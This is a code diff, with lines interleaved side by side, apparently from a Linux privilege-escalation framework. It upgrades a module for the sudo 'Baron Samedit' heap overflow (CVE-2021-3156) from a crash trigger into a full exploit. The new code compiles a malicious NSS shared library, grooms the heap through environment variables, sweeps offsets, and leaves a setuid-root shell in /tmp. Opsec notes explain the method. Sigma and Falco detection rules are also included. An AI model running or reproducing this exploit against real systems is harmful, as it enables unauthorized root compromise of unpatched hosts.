/* Build argv. argv[0]="sudoedit", argv[1]="-s", /* Scratch workdir with the NSS payload dir. */
* argv[2]="\\" + padding, ..., argv[N-1]=NULL. char tmpl[] = "/tmp/.sk-samedit-XXXXXX";
* char *wd = mkdtemp(tmpl);
* Each padding arg is the Qualys-style "A...\\" repeating tail. if (!wd) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
* On a vulnerable target this drives the unescape loop past the snprintf(samedit_workdir, sizeof samedit_workdir, "%s", wd);
* end of the heap buffer. */
char *argv[SUDO_SAMEDIT_ARGC + 1];
char *padbufs[SUDO_SAMEDIT_ARGC];
memset(padbufs, 0, sizeof padbufs);
argv[0] = (char *)"sudoedit"; long tag = (long)getpid();
argv[1] = (char *)"-s"; snprintf(samedit_proof, sizeof samedit_proof, "/tmp/.sk-samedit-%ld.proof", tag);
/* argv[2] is the canonical trailing-backslash trigger. */ snprintf(samedit_rootbash, sizeof samedit_rootbash, "/tmp/.sk-samedit-%ld.rootbash", tag);
argv[2] = strdup("\\");
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) { char nssdir[300], payload_c[320], nsslib[512], log_unused[300];
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4); (void)log_unused;
if (!buf) { snprintf(nssdir, sizeof nssdir, "%s/libnss_X", wd);
for (int j = 3; j < i; j++) free(padbufs[j]); snprintf(payload_c, sizeof payload_c, "%s/payload.c", wd);
free(argv[2]); snprintf(nsslib, sizeof nsslib, "%s/libnss_X/P0P_SH3LLZ_ .so.2", wd);
return SKELETONKEY_TEST_ERROR; if (mkdir(nssdir, 0755) != 0 && errno != EEXIST) {
} perror("mkdir libnss_X");
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
buf[SUDO_SAMEDIT_PADLEN] = '\\';
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
padbufs[i] = buf;
argv[i] = buf;
}
argv[SUDO_SAMEDIT_ARGC] = NULL;
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
* that landed the overlap on the canonical distro PoCs. These
* are harmless if landing fails; their value is positioning the
* heap so the overflow lands on a useful target. */
char *envp[] = {
(char *)"LC_ALL=C.UTF-8@",
(char *)"TZ=:",
(char *)"LC_CTYPE=C.UTF-8@",
(char *)"SUDO_EDITOR=A",
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL,
};
if (!ctx->json) {
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
sudoedit);
}
pid_t pid = fork();
if (pid < 0) {
perror("fork");
free(argv[2]);
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
return SKELETONKEY_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (pid == 0) {
/* Child: drive the trigger. If the bug lands and we get a /* Write + compile the NSS payload. */
* root context, the chain in the original PoC then re-execs int fd = open(payload_c, O_WRONLY | O_CREAT | O_TRUNC, 0600);
* a shell. We don't ship that shell-spawn here — we just if (fd < 0) { perror("open payload.c"); return SKELETONKEY_TEST_ERROR; }
* exit nonzero so the parent's verifier can sample uid. */ (void)!write(fd, samedit_payload_src, sizeof samedit_payload_src - 1);
execve(sudoedit, argv, envp); close(fd);
/* execve failed (binary missing or kernel-blocked). */
_exit(127); char dP[320], dR[320];
snprintf(dP, sizeof dP, "-DSK_PROOF=\"%s\"", samedit_proof);
snprintf(dR, sizeof dR, "-DSK_ROOTBASH=\"%s\"", samedit_rootbash);
char *cc_argv[] = {
(char *)cc, (char *)"-fPIC", (char *)"-shared", (char *)"-O2", (char *)"-w",
(char *)"-o", nsslib, payload_c, dP, dR, NULL,
};
if (!ctx->json)
fprintf(stderr, "[*] sudo_samedit: building NSS payload with %s\n", cc);
if (samedit_run(cc_argv, NULL, 60) != 0) {
fprintf(stderr, "[-] sudo_samedit: payload compile failed\n");
return SKELETONKEY_TEST_ERROR;
} }
int status = 0; if (!ctx->json)
waitpid(pid, &status, 0); fprintf(stderr, "[*] sudo_samedit: driving sudoedit heap overflow "
"(primary lengths %d/%d/%d/%d)\n",
tgt->smash_a, tgt->smash_b, tgt->null_stomp, tgt->lc_all);
/* Verifier: even on the rare "no crash" path, we don't know if /* Primary attempt with the profile's exact lengths. */
* the bug landed without spawning a privileged helper. Per the bool rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
* verified-vs-claimed bar, only claim success if uid is 0 in a tgt->null_stomp, tgt->lc_all, samedit_proof);
* post-trigger probe (which would require the chain to have
* persisted a setuid artifact — it didn't). So: report honestly. */ /* Fallback: sweep null_stomp_len around the profile value (libc drift),
if (geteuid() == 0) { * exactly the axis blasty's brute.sh perturbs. Bounded + stops on root. */
if (!ctx->json) { if (!rooted) {
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n"); if (!ctx->json)
fprintf(stderr, "[*] sudo_samedit: primary miss — sweeping null_stomp_len "
"%d..%d\n", tgt->null_stomp - 8, tgt->null_stomp + 8);
for (int ns = tgt->null_stomp - 8; ns <= tgt->null_stomp + 8 && !rooted; ns++) {
if (ns == tgt->null_stomp || ns < 1) continue;
rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
ns, tgt->lc_all, samedit_proof);
if (rooted && !ctx->json)
fprintf(stderr, "[+] sudo_samedit: landed at null_stomp_len=%d\n", ns);
}
}
/* Best-effort scrub of the scratch build dir (keep proof + rootbash). */
{ char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", wd);
if (system(rm) != 0) { /* ignore */ } }
if (rooted) {
if (!ctx->json) {
fprintf(stderr, "[+] sudo_samedit: ROOT — root-owned proof %s\n", samedit_proof);
fprintf(stderr, "[+] sudo_samedit: setuid-root shell available: %s -p\n",
samedit_rootbash);
} }
/* Leak the buffers; we're about to exec a shell anyway. */
return SKELETONKEY_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
if (WIFSIGNALED(status)) { if (!ctx->json)
if (!ctx->json) { fprintf(stderr, "[-] sudo_samedit: no root artifact after primary + sweep — "
fprintf(stderr, "honest EXPLOIT_FAIL. Host is likely backport-patched, or the "
"[-] sudo_samedit: child died on signal %d " "libc heap layout needs lengths outside the swept range "
"(likely sudo SIGSEGV from the overflow) — trigger fired\n" "(see blasty brute.sh for a wider search).\n");
" but landing did not produce a root shell. Per-distro\n"
" offset tuning required.\n",
WTERMSIG(status));
}
} else if (WIFEXITED(status)) {
if (!ctx->json) {
fprintf(stderr,
"[-] sudo_samedit: child exited %d — trigger did not\n"
" crash sudo; the host is most likely patched at the\n"
" parser level even though the version string was in\n"
" range. Reporting EXPLOIT_FAIL.\n",
WEXITSTATUS(status));
}
}
/* Best-effort free. */
free(argv[2]);
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
return SKELETONKEY_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
@@ -413,15 +450,15 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx) static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; if (!ctx->json)
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through. fprintf(stderr, "[*] sudo_samedit: removing artifacts + scratch dir\n");
* Best-effort unlink of any obvious crumbs left by our trigger. */ if (samedit_proof[0]) unlink(samedit_proof);
if (!ctx->json) { if (samedit_rootbash[0]) unlink(samedit_rootbash);
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n"); if (samedit_workdir[0]) {
} char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", samedit_workdir);
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) { if (system(rm) != 0) { /* ignore */ }
/* harmless — likely no files matched */
} }
if (system("rm -rf /tmp/.sudo_edit_* 2>/dev/null") != 0) { /* ignore */ }
return SKELETONKEY_OK; return SKELETONKEY_OK;
} }
@@ -446,7 +483,8 @@ static const char sudo_samedit_sigma[] =
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n" " Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
" -s flag and a command-line argument ending in a lone backslash —\n" " -s flag and a command-line argument ending in a lone backslash —\n"
" the canonical Qualys trigger for the heap overflow in\n" " the canonical Qualys trigger for the heap overflow in\n"
" plugins/sudoers/sudoers.c set_cmnd().\n" " plugins/sudoers/sudoers.c set_cmnd(). A libnss_X/ directory in the\n"
" caller's CWD is a strong corroborating artifact.\n"
"logsource:\n" "logsource:\n"
" product: linux\n" " product: linux\n"
" service: auditd\n" " service: auditd\n"
@@ -472,14 +510,12 @@ static const char sudo_samedit_sigma[] =
" - attack.t1068\n" " - attack.t1068\n"
" - cve.2021.3156\n"; " - cve.2021.3156\n";
/* ---- Module registration ----------------------------------------- */
static const char sudo_samedit_falco[] = static const char sudo_samedit_falco[] =
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n" "- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
" desc: |\n" " desc: |\n"
" sudoedit invoked with -s and one or more args ending in '\\'.\n" " sudoedit invoked with -s and one or more args ending in '\\'.\n"
" The parser's unescape loop walks past the argv string into\n" " The parser's unescape loop walks past the argv string into\n"
" adjacent stack/env, overflowing the heap buffer.\n" " adjacent env, overflowing the heap buffer.\n"
" CVE-2021-3156. False positives: extraordinarily rare;\n" " CVE-2021-3156. False positives: extraordinarily rare;\n"
" legitimate sudoedit usage does not need trailing backslashes.\n" " legitimate sudoedit usage does not need trailing backslashes.\n"
" condition: >\n" " condition: >\n"
@@ -491,10 +527,12 @@ static const char sudo_samedit_falco[] =
" priority: CRITICAL\n" " priority: CRITICAL\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n"; " tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
/* ---- Module registration ----------------------------------------- */
const struct skeletonkey_module sudo_samedit_module = { const struct skeletonkey_module sudo_samedit_module = {
.name = "sudo_samedit", .name = "sudo_samedit",
.cve = "CVE-2021-3156", .cve = "CVE-2021-3156",
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)", .summary = "sudo Baron Samedit heap overflow via sudoedit -s → NSS libnss_X hijack → root (blasty)",
.family = "sudo", .family = "sudo",
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)", .kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
.detect = sudo_samedit_detect, .detect = sudo_samedit_detect,
@@ -505,7 +543,7 @@ const struct skeletonkey_module sudo_samedit_module = {
.detect_sigma = sudo_samedit_sigma, .detect_sigma = sudo_samedit_sigma,
.detect_yara = NULL, .detect_yara = NULL,
.detect_falco = sudo_samedit_falco, .detect_falco = sudo_samedit_falco,
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.", .opsec_notes = "Compiles a small NSS payload on the target (needs cc/gcc), then execs sudoedit with argv = { 'sudoedit','-s','AAAA…\\','\\','BBBB…\\' } and an env of N backslashes + 'X/P0P_SH3LLZ_' + a padded LC_ALL, from a CWD holding libnss_X/'P0P_SH3LLZ_ .so.2'. The set_cmnd() unescape overflow overwrites a glibc NSS service_user so the subsequent lookup dlopen's the payload, whose constructor runs while sudo is root. Very audit-visible: execve(sudoedit) with -s + trailing-backslash argv, an unusual all-backslash environ, and a libnss_X/ dir in CWD. Grooming lengths are libc-family specific; a miss sweeps null_stomp_len. Artifacts: root-owned proof + setuid bash under /tmp (removed by cleanup()); scratch build dir is scrubbed during the run. Misses may SIGSEGV sudo (dmesg).",
.arch_support = "any", .arch_support = "any",
}; };